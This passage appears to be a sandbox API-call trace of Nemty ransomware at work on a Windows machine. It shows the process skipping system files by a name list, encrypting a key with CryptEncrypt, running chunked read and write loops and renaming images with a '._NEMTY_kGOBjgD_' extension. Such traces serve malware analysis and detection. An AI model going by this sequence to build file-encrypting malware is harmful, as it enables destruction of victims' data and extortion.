out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.777] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0162.818] CloseHandle (hObject=0xffffffff) returned 0 [0162.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0162.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0162.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0162.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0162.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0162.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0162.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0162.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0162.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0162.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0162.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_snow.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_snow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_snow.png._nemty_kgobjgd_")) returned 0 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.819] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735d859, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8735d859, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ba56467, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2fcf, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2=".") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="..") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="...") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="windows") returned -1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="$RECYCLE.BIN") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="rsa") returned -1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="NTDETECT.COM") returned -1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="ntldr") returned -1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="MSDOS.SYS") returned -1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="IO.SYS") returned -1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="boot.ini") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="boot.ini") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="AUTOEXEC.BAT") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="ntuser.dat") returned -1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="desktop.ini") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="CONFIG.SYS") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="RECYCLER") returned -1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="BOOTSECT.BAK") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="bootmgr") returned 1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="programdata") returned -1 [0162.819] lstrcmpiW (lpString1="docked_black_thunderstorm.png", lpString2="appdata") returned 1 [0162.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_thunderstorm.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0162.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_thunderstorm.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_thunderstorm.png", lpUsedDefaultChar=0x0) returned 29 [0162.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0162.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_thunderstorm.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0162.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_thunderstorm.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_thunderstorm.png", lpUsedDefaultChar=0x0) returned 29 [0162.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0162.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_thunderstorm.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0162.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_thunderstorm.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_thunderstorm.png", lpUsedDefaultChar=0x0) returned 29 [0162.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_thunderstorm.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0162.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_thunderstorm.png", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_thunderstorm.png", lpUsedDefaultChar=0x0) returned 29 [0162.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340188 [0162.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0162.820] Sleep (dwMilliseconds=0x5) [0162.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14b394f0, dwHighDateTime=0x1d561e8)) [0162.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14b394f0, dwHighDateTime=0x1d561e8)) [0162.831] GetLastError () returned 0x5 [0162.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.831] GetLastError () returned 0x5 [0162.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0162.831] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0162.831] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0162.831] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0162.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340318 [0162.831] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340318, pcchString=0x653e91c | out: pszString="ZdSh6ldpqx7g1M55BzHDP0PEFU4KEgVARXPF+iMvg1MxViCHOUPaSBKnd9T6DQpL\r\nq3yQZyBAAvpHc9KL63WQ6zXG21lQSixo87s3vWAExBTwur+uQD/wpEkiRrLBybvb\r\n/VyxdZwa1VdgR8dE2RGn+W/arWvALK0cD8vCREnCGRVDxpRXp2TFtvhEidM4D/oi\r\n7+2OXomEHyioqsmPYS8mUYXfNHLHVV/DKbcyjFFl0N/HBfE9I+Tgvsgu7Xjhp+/6\r\n1TIQDN6jSjdr89EREOMLulVNDn1yurw2Flr1HYY1vviuVTO9KcjJiWxYO6NTDQ4e\r\nU5I7+amEefPDOo9iprmLuw==\r\n", pcchString=0x653e91c) returned 1 [0162.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0162.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0162.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0162.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0162.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340318 [0162.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0162.831] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_thunderstorm.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_thunderstorm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0162.832] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0162.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0162.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.860] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, 